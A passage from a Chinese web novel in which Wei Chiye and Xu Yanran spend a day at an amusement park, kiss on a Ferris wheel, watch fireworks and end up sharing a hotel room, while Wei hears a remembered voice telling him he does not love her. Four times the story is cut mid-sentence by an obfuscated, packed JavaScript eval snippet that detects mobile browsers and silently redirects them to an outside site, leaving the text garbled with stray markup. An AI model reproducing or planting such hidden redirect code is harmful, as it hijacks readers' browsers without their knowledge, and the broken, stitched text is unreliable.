蔚迟野看了身旁的许嫣然一眼。女孩的脖子上已经开始流汗,她什么都没说,只是不时看看队伍还有多长,瞟一眼贵宾通道,然后再若无其事地转移视线。 说到底,她是陪着蔚迟野来的。是蔚迟野自己说,没有赶上同学聚会,所以,为了弥补当时的遗憾他们才来了这里。许嫣然一开始没说她想去哪里,或许如果让女孩选的话,她会想要去栽满了绿植的室内场所,一个咖啡厅,或者图书馆。但是,她没有给出自己的建议,没有暗示自己的喜好,只是问蔚迟野想去哪里,然后跟着他就过来了。 回想起来,她曾经似乎也是这样的一个女孩,像是什么都不想要,总是好、好地答应着。但,是人就有欲望,她也一定有自己的偏好。蔚迟野不太明白,为什么她不肯在自己的面前表达,明明只要说出来,他都会尽力帮她实现。 这次也是这样,她不喜欢烈日,也不喜欢冗长的队伍,更不喜欢刺激惊险的项目,可是明知道会有这些内容,她还是跟着蔚迟野来了。 想到这里,蔚迟野的心情产生了一些变化。 无论怎么想,这都是他发起的一次活动,他没问过许嫣然喜不喜欢就这么带她来了。可女孩理应有表达拒绝的权力。 蔚迟野叹息了一声,总觉得自己之前有些小肚鸡肠。 不过一阵,在许嫣然再次瞟向贵宾通道的时候,蔚迟野适时开口,装作不经意地说道:“这得排到什么时候去啊。” 许嫣然没有回答他,只是默默站在队伍里。 “太热了。”蔚迟野还在找借口,给自己和他们两人找一个台阶下。他看似在小声嘀咕,但是,声音又保证能让许嫣然听见,“等排完这个项目,游乐场都关门了。” 许嫣然转过头来,犹豫了片刻,说道:“……要是不用排队就好了。” 蔚迟野一听,心想,顺着说下去的话,事情这不就解决了。 说不定,许嫣然明白他的意思,也理解他的演戏,他们在互相给彼此台阶。 “那要不我们去走贵宾通道吧。” “可是我们都已经排了一阵子了……”许嫣然有些进退两难地说道。 现在,蔚迟野终于有点听懂许嫣然的言外之意了,曾经,这个女孩说话的时候,他听着,总觉得对方不是在表达字面上的意思,但是又时常听不出什么深层次的含义。但现在,他能听懂。一个小女孩的纠结,可比那些城池领导人的贸易条件里的弯弯绕绕易懂多了。 “我们才排了几分钟,这队伍要好几十分钟才能排完呢。”蔚迟野找了个让人难以拒绝的事实角度,说道。然后,他掏出自己的手机,没再问许嫣然的意思,买了两张摩天轮专属的贵宾票,而后,拽着她离开普通游客通道,往那个空无一人的队伍走去,“走,咱们去摩天轮里乘凉。” 许嫣然跟在蔚迟野的身后,郁郁寡欢的脸终于露出来一丝笑容。 顺利地通过贵宾通道,如愿以偿进入了那个狭小的空间。一厢可以坐两人,他们一人坐在一边。 门关了,铁皮箱子缓缓往高空升起,两人不约而同向窗外看去。 他们离地面越来越远了,离人群也越来越远,那些纷杂的思绪也逐渐消失,一种神奇的平静心情升了起来。 待在人堆里,尤其是在排队的人群中,似乎会有一种烦闷的情绪互相传染,扰得任何人都不得安宁。 现在,他们离开了那个大杂烩,缓缓升腾到高空之中,仿佛自由的飞鸟一般,再不被地面所束缚。 “……啊欠!”突然,许嫣然打了个喷嚏,抱紧了自己的身体。 蔚迟野关心地问:“怎么了,你冷了?” 她揉了揉胳膊,摩擦着自己,“有点。” 蔚迟野丝毫没觉得冷,但是既然许嫣然这么说,他也没多想什么,印象里,好像女生的身温的确是会更低一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14353848|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “能坐到我身边吗?”许嫣然问。 他身上只穿了件衬衫,也不能脱下来给许嫣然,想了想,站起来,在狭小的空间里弯着上身,移动到许嫣然的一边。座舱轻轻摇晃,有往一端倾斜的趋势,但是依然十分稳定。蔚迟野坐了过去,敞开双臂。许嫣然的脸有些红,往蔚迟野的怀里凑了凑。 搂住了那个有些微微发凉的身体,蔚迟野才后知后觉有些无措。他觉得有些突兀,他和这个女孩的往来是截断性的,无论他们高中的时候是如何相处,那对他来说都已经太遥远了。 蔚迟野当下的心思有些乱,于是便扭头往窗外看去。 “迟野。”这时,许嫣然小声地叫他。 “嗯,怎么了?” 许嫣然沉默了半晌,声音低柔,像是在说什么蜜语一般,“你还记得,我们是怎么认识的吗?” 蔚迟野看着许嫣然的侧脸,几乎能看清上面细密的绒毛,她的脸蛋嫩嫩的,仿佛能掐出水来。他不自觉地放轻了声音,像是要回应许嫣然的柔蔼,“在学校的开学典礼上?” “不,那时我们只是单纯见过一面,后面很长时间都没有说过话。”许嫣然摇摇头,细软的发丝随着她的动作轻轻摇晃,“我是说那一次。在朱河边上,我掉进河里,你把我救上来的那次。” 蔚迟野跟着许嫣然的话进行回忆,在记忆里找到了一些零散的片段,“哦,是那一次。” “那条河边上不经常有人走,所以,我选择在那里结束自己的生命。”许嫣然说道,声音平静,仿佛那是别人的事情一样,“但没想到,那天你却经过了河边。” “我看到有人在水里挣扎,就跳下去了。”蔚迟野说。他避开了一些敏感的话题,比如许嫣然为什么投河,后来又为什么放弃了寻死。他没探究过,只从她的口中听到过一些解释,原因似乎和她的父亲有关。 许嫣然侧过头来,身子往他的怀里依偎了一些,“如果不是你的话,我可能怎么也想不清楚,人生究竟还有什么活着的价值。” “……这没什么想不明白的。”他垂眼说道。 许嫣然则抬起亮晶晶的眼睛看他。 “不喜欢的地方就离开,就算捡破烂也不再回去。不从厌恶之人的手中逃出来,就说明还能忍受对方,甚于拾荒带来的艰苦和对自尊的侮辱。”蔚迟野说道,他控制不住地长篇大论了一番,就好像谁打开了心中的话匣,导致他的嘴滔滔不绝,“无论如何,死亡都是最后的选择。” “嗯,我现在也是这么想的。所以,我要谢谢你……”许嫣然说道,她盯着蔚迟野,眼里有种浓稠的情绪,“……是你给了我第二次生命。” 蔚迟野盯着她,看着她眼里浓厚的情绪,本来还想说什么的嘴停下了,紧抿在一起。 许嫣然微微仰着头,表情带着些空泛的迷茫。她的嘴唇微微张开,露出一条缝隙,眼睛也眯了起来,像是有些困倦——可能吧,又或许这只是蔚迟野的错觉。 263. 游乐场6 他咽了口口水,却觉得那声音太明显,闹得他有些不好意思。 他想说些什么来缓解这个有些奇怪的气氛,但是,一句话也说不出来,只能愣愣地看着许嫣然那张像是有些缺氧的脸,脑海里空白一片。 他感觉女孩的身体全然依靠在自己的怀里,柔软无骨的躯体紧紧贴着他。微风在脸上吹拂而过,却带不走那上面的热量。 许嫣然依然保持着这个姿势,像是一朵含苞待开的花。她的眼睛渐渐阖上,那副模样称得上是迷醉。 蔚迟野学着她的模样闭上了眼,视野变得狭隘,进入到眼中的光线变少,思维也渐渐迟钝。 这种感觉,就仿佛他们身处一个狭隘的、阴森的、安静的、不为人所知的空间里面,在这里,做什么都行,做什么都不会被发现。 柔软的触觉在唇瓣上传来,后脑泛起阵阵酥麻,甜滋滋的味道递进味蕾,感觉黏着,神思迷恋。 伸出手臂去拢住无骨的身躯,薄薄一层裙子在手里变成了皱巴巴的布料,掌下的身体绵软,仿佛一用力就会断折。 这种感觉有些微妙。他好像在掌控着一个脆弱的生命,决定权在自己手中,虽然他必然不会做出些什么伤天害理的事情,但是这给了他一种大权在握的觉,就好像这个世界上至少有什么东西是归他所有、归他所管。 不知时间过去多久,他在温柔乡中醒来。 两人粗喘着气,凝望着对方,脸上都是羞红一片。 淡淡的香气在厢内萦绕,使心人情沉醉。 女孩先躲开了视线,断开了过于暧昧注视,她回过头去,但没有离开蔚迟野的怀抱。 两人便这么静默地待着,平复着呼吸和心跳。 这算……确认关系了吗? 蔚迟野在内心想着。 上摩天轮之前,他可从来没想过会是这种展开,这让他有些猝不及防。 怎么聊着聊着就亲到一起去了……? 有意无意地,他意识到许嫣然在推进关系,但不知道让女孩急迫的源头是什么。 搂着对方已经变得温热的躯体,他心猿意马地回想着他们的过往。 他们在一起两年了……不,说是在一起,也不过是每日一同作伴,而非男女朋友。 但两人的关系就在刚刚改变了。 蔚迟野感觉自己的身体是热烈的,但是内心却很平静。 自己应该对这个刚刚确立的关系有什么强烈的感受吗? 他有些茫然地思考着。 座舱在上升,静谧的空间中,两个人静静地待着。 就这样,不知过了多久,女孩的身体动了动,她开口叫他。 “迟野。” “……嗯?” 许嫣然抬起手,碰了碰蔚迟野的手臂,“你看。” 他闻言,顺着她的目光望过去。外面是一片晴朗的天空,再往下,便是那片人工修建的游乐景观。 在登上摩天轮之前,蔚迟野对这种景色没有什么兴趣,大自然的鬼斧神工他已经见得够多,人类建造的景观,怎么想都不过是一些绣花拳脚。 虽然这么说,但在真正俯瞰到整个游乐场的时候,他心里还是生出了一种澎湃之感。园区在视野中缩小了,里面的游客来来往往,像是蚁穴里职责分明的蚂蚁,忙忙碌碌,永不停歇。 而他们两人彼此怀抱在这座舱里,却有一种超脱于那凡俗的畅快,仿佛自己能高人一等,拥有俯瞰众生的权力。 那密密麻麻的人群之中,情侣们占据了绝大部分。他们有些在热恋着,有些已经进入了稳定的关系,有些刚刚确定关系,还有些可能暧昧不清。 而他和许嫣然已经度过了那最初的阶段。 女孩依偎在他的怀里,这个时候,他突然比任何时候都觉得自己很重要。 这种被需要的感觉是如此强烈,使他不愿放开围拢的手臂,让他无法在这个名叫责任的游戏里脱身。 她需要他,这是无疑的。 就是这样,他们将来会比以往更加紧密地结合下去,在这个充满了不确定性的—— “我研究过人类。” 就在这时,一个声音在他的脑海里响起,那音色十分熟悉,一下子就带动记忆,让他回想起了一个男人的脸。 那人有着一头白色的长发,脸色总是泛着不健康的惨白,但他却能发出十分铿锵有力的声音,尤其是在说一些难以理解的深奥道理时。 比如现在,男人开始在蔚迟野的脑袋里喋喋不休。明明蔚迟野没有邀请他出现,可关于男人的回忆还是不断浮现,他说过的话也不受控制地在脑海里回放。 “需要与被需要,是人类构建起紧密联系的根本。无论怎样的两个人,老人和小孩,男人和女人,陆地人和渔夫,王公贵族和平民百姓,都是一样。 “无论怎样相异,他们都可以通过这种方式搭建起联系的桥梁,这是人类世界永恒不变的交易法则。这种桥梁越是密切,与对方不可分离的感觉就越发强烈。这种感觉最终会演变出来许多其他的情感,比如,信赖、钟情。 “但是,说到底,这不是因为这段关系有多么特别,又或者是多么命中注定。人们会产生这些紧密的情感,不过是对失去既得利益的恐惧,因为如果和对方的关系断裂,许多原先无需费力就可得到的好处,将来却要重新苦苦寻觅了。 “而我想说的是……两个人彼此需要,相互照料,这固然很好。但在那之上,如果有什么不参杂图谋、不涉及利益,只是单纯因为对方的存在而感觉到欢欣雀跃的关系——那么,那种感情便是爱。起码,这是人们给它的定义。” 蔚迟野感觉到一阵头痛,他没有刻意去回想,但是,记忆就像流水一般灌入他的脑海。他也不知道为什么会突然想起白熠曾说过的话。那番摆弄道理的话语,让他很是烦扰。 他不禁有些厌弃地想道,非要在这个时候? 什么时候不好,偏偏在这个温情的时间点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365440|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来打扰他,现在倒好,他已经彻底冷静下来,一点暧昧的氛围都感觉不到了。 心里有些怨气,这叫他不得不和男人的话辩论两句。 他那篇长篇大论根本站不住脚。两个人就是互相需要,所以才会在一起。许嫣然需要他,而他也需要她,这样的感情如此牢固,不称之为爱又该称之为什么? 所以,闭嘴吧,白熠。 他再度紧了紧怀抱,像是想要和许嫣然变成一个人一般,比以往每一刻都要紧密。 摩天轮离开了最高点,慢慢悠悠降落下去。直到回到了最低点,两人才从如胶似漆的怀抱中分开。 现在,蔚迟野已经完全想不起来自己为什么一开始不愿意玩摩天轮了,如果不是因为这一趟,他和许嫣然的关系还停留在影影绰绰、模模糊糊的上一步。 而他们在一起的日子已经不多。虽然蔚迟野承诺了,在上大学之后依然会每天去见许嫣然,不过,那只是一个理想的展开。他们都知道,距离会疏远关系,如果两人之间还没有进一步的进展,等他们上了不同的大学,彼此的那根线会越来越细,保不准哪天会断掉。 这次游乐场之旅,无疑是加粗那根线的契机。 下了摩天轮,许嫣然的脸色还有些红,蔚迟野问她还想玩什么,她依然说什么都行。 于是乎,两人牵着彼此的手,前往下一个游乐点。 他们沿着主路走,先去逛了一个纪念品商店,又去买了些吃的,边吃边走,而后,又去照了好多好多的相,还和扮演成虚拟人物的工作人员互动聊天。 这一趟折腾下来,玩的东西几乎都是许嫣然感兴趣的,但是蔚迟野却仿佛有无限的耐心。他就像一个受封的勇士,荣耀感还未从胸膛散去,满足感让他做什么都愿意。 逛着逛着,天黑了下来。 许嫣然盯着落幕的天际,怅然说道:“天色这么快就暗了。” 蔚迟野看着天边红色的云彩,一种古老的惆怅在他心里蒸腾,身体告诉他说应该立刻回到憩息的住所,但他不愿意,明明还有那么多可以做的事情,“晚上还有一场烟花秀,要看吗?” 许嫣然有些犹豫,说道:“烟花秀结束的时间很晚,再回市区的家里,就是凌晨了。那时候走的人肯定很多,我怕打不到车……” 蔚迟野思索了一番,说道:“你晚上还有什么事吗?要不在这附近的酒店住一晚。打电话和冯姨说一声,别让她担心。” 许嫣然踌躇了一阵子,在浅浅的夕阳下,她的脸颊泛着红晕,看不清是自己的,还是夕阳在她脸上映照的,“……好。” 蔚迟野后知后觉地回味自己刚才那番话,品出了一丝潜藏的意思,他想解释说只是单纯为了过夜,没有其他什么目的。但是,总觉得越是解释,越是欲盖弥彰,索性什么也不说了。 许嫣然给家里打了个电话,蔚迟野便在一旁在手机上找酒店。许嫣然看到他的动作,盖住了他的手,阻止了他订酒店的行为。 264. 游乐场7 “嗯,妈妈,好的。你说的我都知道。……我会尽力。”在和母亲打完电话之后,许嫣然松开了手,对蔚迟野说道,“这一整天的花费都是你出的,起码也让我为你花一笔钱吧。” “不用了,你是陪我来的,我怎么可能让你花钱。”蔚迟野说道。 许嫣然顿了顿,声音不大,却是坚定,“还是我来吧。” 蔚迟野见她这么坚决,索性不和她纠结,省得闹得两人不愉快,“好吧。” 许嫣然说道:“我之前做过攻略,有一家酒店是乐园主题装修风格的。刚看完了烟花秀我们就去那家吧,他们房源比较充足,过去了再订房间就可以。” 蔚迟野想也没想,爽快地答应,“没问题。” 天色越来越暗了,他们去吃了晚饭,而后,找了一个绝佳的观赏地点,准备迎接晚上的烟花。蔚迟野对烟花不怎么感兴趣,非要弄出些爆炸来的话,还是玩燧发枪比较有意思。但是,想必许嫣然应该很喜欢烟花,而且让这个盛大的仪式作为他们今天完美的收场也不错。 晚上的空气清冷,而许嫣然又穿着单薄的裙子,身体有些瑟瑟发抖。于是乎,蔚迟野便从背后抱着她,为她取暖。 自从他们从摩天轮上下来之后,关系似乎突飞猛进,原先想也不敢想的事情,现在做得却很自然,牵手、拥抱、接吻,仿佛他们已经是相处了几个月的亲密恋人一样。 《海底迷踪》电影中最为标志性的雄伟建筑立在他们面前,即将举行的烟花秀,就是围绕这栋海岛上的白房子展开。 许嫣然惬意地靠在他怀里,和他私语,聊天,“迟野,你还记得我们上次看烟花是什么时候吗?” 蔚迟野回忆了一番,说道:“是在高二期末的时候吧?考试结束后,学校举办了烟花秀。” “那个时候,我们已经认识一年了。”许嫣然安静了片刻,又说道,“你知道,最开始的时候,我是怎么看你的吗?” 这蔚迟野从来没有听过许嫣然讲过,他不禁有点感兴趣。他们在一起的时间很长,几乎是每天都形影不离,但那时满脑子都是学业,两人之间交心的倾吐近乎寥寥无几。蔚迟野好奇地问道:“不知道,你是怎么看我的?” 许嫣然侧过头来,柔软的发丝在他的胸口磨蹭,“你在河边救了我的时候,我对你只有感激。后来,随着我们相处的时间长了起来,我也更加了解到了你这个人。” 蔚迟野闭着嘴听着,聚精会神。 “我以为,你心地那么善良,应该会有许多朋友。但是,你总是一个人孤零零的,在班上几乎也不和人打交道,看起来不太喜欢亲近人。那让我一开始都不敢去找你,怕惹你不高兴。” 蔚迟野干巴巴地笑了两声,道:“那是因为学业太繁重了,没有时间交朋友。” “是啊,你一心扎在学业里面,对外界的事情不闻不问。”许嫣然说道,她顿了顿,目光有些深远,像在回忆过去的事情,“……你是那么的专注,时常对周围不理不睬。有几次,我都以为,你不在乎我了,不要我了。” “怎么会。”蔚迟野惊讶道,他回想了一番,却没有想起来任何有关的记忆。他对许嫣然向来是有应必求,毕竟她是他当时唯一的朋友,“我绝对不可能不理睬你,也绝对不会不在乎你。” “嗯,可能是我过于敏感,想多了吧。”许嫣然没有和他纠结过去的事,只是显出一副示弱的姿态,给他们找了一个台阶下,把问题归咎在自己身上。月色在她的眼睛里倒映出波光,显得楚楚动人,“你知道吗,迟野。我……曾经总是以为,我们两人没有办法走到这一天……” 蔚迟野一听,倒是有些惊讶。原来许嫣然有过这种想法,而他印象里的自己应该是丝毫都没有觉察到。他有些发愣地问道:“为什么?” “因为,你……”许嫣然叹息了一声,像是下定了决心一般,把她真实的想法说了出来,“你好像只在乎自己的事情。不敢面对外界的同时,也不在乎身边的人。” 有吗? 蔚迟野陷入了一时的迷茫,被女孩这么说,他感觉到一阵困惑。他一时想不起来曾经的自己是什么模样了,不是不记得自己长什么样子,而是说关于“自己曾经是一个怎样的人”这种模糊的定义,他当下是一点也回忆不起来了。 许嫣然依恋地看着蔚迟野,模样讨巧,“我那么说,你别生气。” “……我没有,我只是……”蔚迟野道,“……有点意外。” 许嫣然微微笑起来,说道:“迟野,我有没有说过,你最近变了?” 蔚迟野眨眨眼,“没说过。” “嗯,你变了。”许嫣然笃信地说道,“这也是为什么,我现在敢把自己内心曾经的想法告诉你。” 蔚迟野有些不解。 他的变化真的有那么明显吗?只是在一个样界之中,短暂地度过了不一样的二十几年,对他的性格影响有那么大? “你变得更善解人意了,迟野。”许嫣然说道,目光是柔和的,像是十足地倾慕着眼前的人,“曾经的你,不会问我想要什么,只会做你觉得对的事情。我们在一起的时候,你也总是在谈论自己的事,虽然,我也愿意听,但一直做一个倾听者,让我感觉……自己没有被重视。” ……会有这种感觉吗?蔚迟野心想。 可是,他将自己的故事分享给这个女孩,就是因为信任她,所以,才想把自己无论是快乐还是悲惨的过去通通告诉她,让她明白他经历了怎样惨淡的童年,明白他的不容易,明白他的坚韧。这不是把她当成自己人的表现吗? “我的故事让你听倦了?”蔚迟野问道。 “不,我说了,我喜欢听。”许嫣然说道,她的指尖蹭着蔚迟野的唇瓣,像是让他先不要说话一般,“但是,偶尔,我也希望你能对我的过去感兴趣。” 蔚迟野不禁开始回忆过往,就是在这番努力的探寻中,他渐渐回想起来自己看待许嫣然的角度,而那确实失之偏颇。 他只在乎她的现在,只在乎她当下的喜怒哀乐,在乎他们现在在一起愉不愉快。而对于她的过去,对于是怎样的过往造就了她这样一个人,他并不关心。 哪怕是现在,要他去探究她的过去,他也提不起什么兴致。他不知道自己怎么回事,他就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375232|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没兴趣知道。 许嫣然现在这样已经很好了,他们未来还有大把的时间,为什么一定要聊她的过去?她的过去如何,是快乐也好,是痛苦也好,都不影响现在他们在一起这件事。 两人已经相识这么长时间,可蔚迟野还是不知道她的过去是怎么回事,也不知道她家里父母的关系如何,不知道她当年想要自杀的真实原因。 她已经度过了那个坎,并且感激着蔚迟野,这就够了。 他只是需要她,需要她在自己身边,仅此而已,就足够了。 对于是什么构成了她现在的一切……她的柔弱、她的乖顺究竟由何而来,他都—— 他都不感兴趣。 他必须承认这件事。 “哈哈。”一个声音在他的脑海里响起来。蔚迟野不需要看到那张脸——那张会让他产生认知失调的脸——他就能想起来声音的主人。 一种奇怪的情绪在他心底里蔓延,那声音像是警钟,在他脑海里没由来的回荡。 “蠢货。” 那个声音说道,一字一句,一个接一个砸在蔚迟野的心上。 “你在干什么?在这种地方,做这些事情……太荒谬了,你又不爱她。” 蔚迟野感觉自己的心脏漏跳了一拍,一种空白的恐惧之感弥漫开来,笼罩在他的头顶。 转瞬,他又如大梦初醒,思绪清冷,所有的感情都从身体上剥离。 脑海里嗡鸣不停,视野有些迷糊,周围的东西仿佛都在离他远去。 灵魂好像也从身体里抽离,飘在半空中,看着地面上愚钝的自己。 就在这时,巨大的音乐声响起,笼罩了整片场地。 第一支烟花飞上了天空,在黑夜中炸开,拉开烟花秀的第一幕。 “开始了。”许嫣然说。她靠在蔚迟野的怀里,微微仰着头,脑袋的重量压在他的胸口,她安适地看着天空中的烟花。 蔚迟野的视线落在许嫣然的头顶,他盯着她的发旋。 一种怪异的情绪在他心底里升起。 他好像突然不认识她了似的,用近乎是冷淡的眼神看着她。 ……她在做什么? 为什么能这么自然地把头靠在他的怀里,就仿佛他是一个可以随便使用的座椅一般。 为什么那么理所当然地把身体交给他,自己反而惬意地观赏着烟花,就仿佛他有这个义务承担她的重量似的。 她并不轻巧,骨头有些硌人,头顶有一粒微不可见的头皮屑,呼吸时身体的起伏十分笨重,裙子用的是劣质的布料,两边的袖沿不一样高,后背上有一道没刮干净的汗毛。 为什么要和他这么紧地贴在一起。 恼火,不爽。 ——别挨着我,离我远点。 “……”蔚迟野朝对方的脑袋伸出手去,脸色是一片恐怖的空白。 他的手掌盖在许嫣然的头顶上,距离就差一指,马上就要碰到她。 突然,许嫣然回过了头来。 蔚迟野猛地收回了自己的手,背在身后。 “嗯?怎么了?”许嫣然天真地问。 265. 氤氲1 “没……你头发上有东西。” 对方脸上露出满足的笑脸,幸福地盯着他,“你看,烟花多好看啊。” “嗯,是,烟花很好看。” 许嫣然又转过头去,专注地欣赏着漫天的烂漫。 蔚迟野深深地吸了口气,又吐出去。 ——你怎么回事,蔚迟野。 他闭上眼睛,和内心中那些阴暗的想法作对。它们来得快,去得也快。当蔚迟野意识到自己不正常的时候,那些混沌的思绪已经消散了。 他有些后怕,就好像身体里寄宿着一个不受他控制的灵魂,能够随时随地出来干扰他的思想。 但是,这不可能。他比任何人都清楚自己的情况,他就是他,没有什么第二个灵魂。 他把异常的原因归咎于自己太累了,已经玩了一整天,精神需要休息。 烟花秀还在继续,他拥紧了眼前的人,接纳她的重量,替她调整高矮不一的袖沿,那颗圆圆的后脑勺也渐渐变得可爱了起来。 各式的烟花在天空中绽放自己的华彩,欢快的音乐拨动着每一个观景者的心弦,人们沉浸在绮丽的幻想之中,无须闭上双眼,便可在美梦中流连。 持续了大概有二十分钟,秀场结束了,最后一支烟花在空中冷却,散尽了最后的光华。 人们如潮水一般散去,蔚迟野和许嫣然也跟着大部队的脚步离开了烟花场。 圆满的一天结束了,幸福和疲惫同时在身体里浮现,两人准备去酒店休息。 他们取走了寄存处的奖品,照着地图,来到了许嫣然所说的酒店门口。那的确是一个装潢很具特色的酒店,所有的设施都包装了一层外壳,装饰成了《海底迷踪》电影里出现过的场景。走进酒店的大堂,就像是身临其境一般,加入了一场虚幻的冒险。 许嫣然很喜欢这里,进了大堂,还没来得及做什么,便在那些异域风情的雕像面前走不动路了,让蔚迟野给他拍了许多照片。而他也在许嫣然的坚持下,在许多花花绿绿的造像前面留了影。许嫣然捧着手机笑起来,似乎对那些照片很是满意。 纪念品橱窗里有许多商品,但店已经关门了,许嫣然盯着那些毛绒绒的玩偶挪不开视线。于是,蔚迟野答应她明早再来买。 这么折腾了一阵,女孩额头上冒出了细密的薄汗,用手扇了扇风,说道:“好渴……外面有超市,迟野,你能不能去买点水回来?” 两人今早买的水已经在路上全喝完了,蔚迟野见她口渴,想也没想,答应了下来。 他一个人离开酒店的大堂,钻进了旁边最近的超市。 超市很小,但是商品琳琅满目,因为旁边就是酒店的原因,顾客也不少。蔚迟野拿了两瓶矿泉水,去收银台排队。 看到前面还有六七个人,他心里念叨着,收银台没有贵宾通道吗? 显然是没有,他只能干巴巴的排着。 终于轮到了他,结了账之后,他拎着两瓶水离开了超市。 回到酒店,看到许嫣然在门口等他,他走过去,把水递给她,却见她表情有些难为情,似乎有什么话要说。 “怎么了?”蔚迟野问。 许嫣然脸蛋有些红,她从口袋里掏出来了一张卡片,那似乎是酒店的房卡,“他们说只剩下这一间了……是大床房。” 蔚迟野眨眨眼睛,突然明白了许嫣然难堪的原因,他又慢了半拍,才反应过来他们面临的是怎样的局面,眼睛干巴巴地眨了两下,语气也有些不自然,“那要不……换一家酒店?” 许嫣然模样像是快要哭出来,她小声地说道:“我已经付了钱……” 她那副模样,让蔚迟野觉得自己好像在欺负她似的。他连连说道:“那不换,不换了。没事,我睡地上,你睡床上就行。凑合一晚,很快就过去了。” 许嫣然没有看他,只是红着脸,点了点头。 两人拿着一张房卡坐电梯上了楼,按照门牌号的标识找到了今晚入住的房间。 刷卡开门的时候,隔壁传来了沉重的咚咚声,声音不是特别大,像是在用锤子敲地板一样,十分有节奏。 反应了一下那是什么动静,明白过来后,蔚迟野突然有些局促,他手臂僵硬地推开门,一溜烟窜了进去。 好在房间的隔音还不错,关上门之后,便听不见隔壁的声音了。 把行李和奖品放下,两人在灯光昏暗的房间里,一时有些手足无措,像是不知道该做什么才好。 “……我去洗澡。”许嫣然小声地说道,然后拿了块浴巾,往浴室的方向走。 蔚迟野转过头去,避开了视线,给自己找了点事情做,“那我去铺地铺。” 他打电话让前台又送来了一床被子,将它稀里糊涂摊在地上,这时候,浴室里传来了水声。 他不禁想到,他们本来没有过夜的打算,许嫣然待会出来了,没有换洗的衣物怎么办? 他本来想开口问问对方,需不需要他出去买睡衣回来,但是现在说话的话,总觉得是在和对方赤身裸体地对话,于是乎,他愣是没有开口。 不过一阵,浴室里的水声停了,一阵窸窸窣窣的声音过后,门开了。一个拖拖拉拉的脚步声从内之外,来到了卧室。 许嫣然只裹着一条浴巾,这个房间似乎没有提供浴袍。她有些羞怯,扭捏地站在卫生间的门边上,目光躲闪,没有看蔚迟野,对他说:“你去洗吧。” 白天在外面玩了一个下午,出了好几次薄汗,现在身体黏糊糊的,非常需要一次清爽的清洗。 蔚迟野也提着一条浴巾就进了浴室,脱了衣服,打开喷头,他顺势仰起脸来。 “啊!!” 预期洒下的清凉之水并没有到来,一注仿佛地狱中才有的沸水浇灌在脸上,他嗷一嗓子就叫了出来,闪身躲开。 许嫣然刚才在浴室煮泡面吗!? “怎么了,没事吧?”许嫣然关切的声音在外面传来。 蔚迟野嘶嘶吸气,咬牙说道:“没、没事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14384928|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“需要我帮你拿什么的话,告诉我就好。”许嫣然在外面说道。 “没什么,不用。”蔚迟野道,“你先去休息吧。” 女孩的身影离开了浴室,她走远了,蔚迟野紧绷的身体才放松下来。他把喷头调到合适的水温,让它不再至于是那个能杀人的温度。 终于梦寐以求的清凉冲刷他的身体,洗去了身体的热度和一天的疲惫。 在浴室里磨蹭了一阵子,他关闭了水流,裹着那块浴巾走了出去。 外面,许嫣然坐在床上,背对着他,看着窗外的月色。听见他的声音,她回过头来,目光落在他裸露的上半身。女孩顿时有些难为情,避开了视线,一下子钻进被子里,只露半个脑袋在外面。 蔚迟野低头,盯着自己的腹部。他捏起一块软乎乎的肚皮,又用五指戳了戳自己的胸,心想这胸肌也没有,腹肌也没有,一点都不性感,许嫣然是在害羞什么呢? 蔚迟野走进卧室,关了几盏灯,只留一两个不怎么影响睡眠的夜灯。 许嫣然没动静,可能是准备睡了。于是他静悄悄坐在地铺上,翻出自己的手机,看看有没有什么新消息。 主页是空白的,比他的脸都干净。自从早上离开实验大厦到现在,手机里没有收到一条讯息,除了许嫣然的电话和短信。 他没有和家里人汇报自己的行程,但半天过去了,也根本没有一个人问他去了哪。 手机里装了定位系统,蔚统能够实时查看他的地理位置,监控他去了哪里,或许这就是父亲没有联系他的原因。 他盯着空白的首页,虽然能够理解一条新消息都没有的事实,但不知为何,还是感觉到了一阵虚无。在这世上忙忙碌碌了十八载,却连一个真心的朋友都没有。他参与样界的实验,消失了一个多月,却没有任何一个人给他发消息询问他的去向。 除了许嫣然。 ……对,他也不是完全没有人在乎。 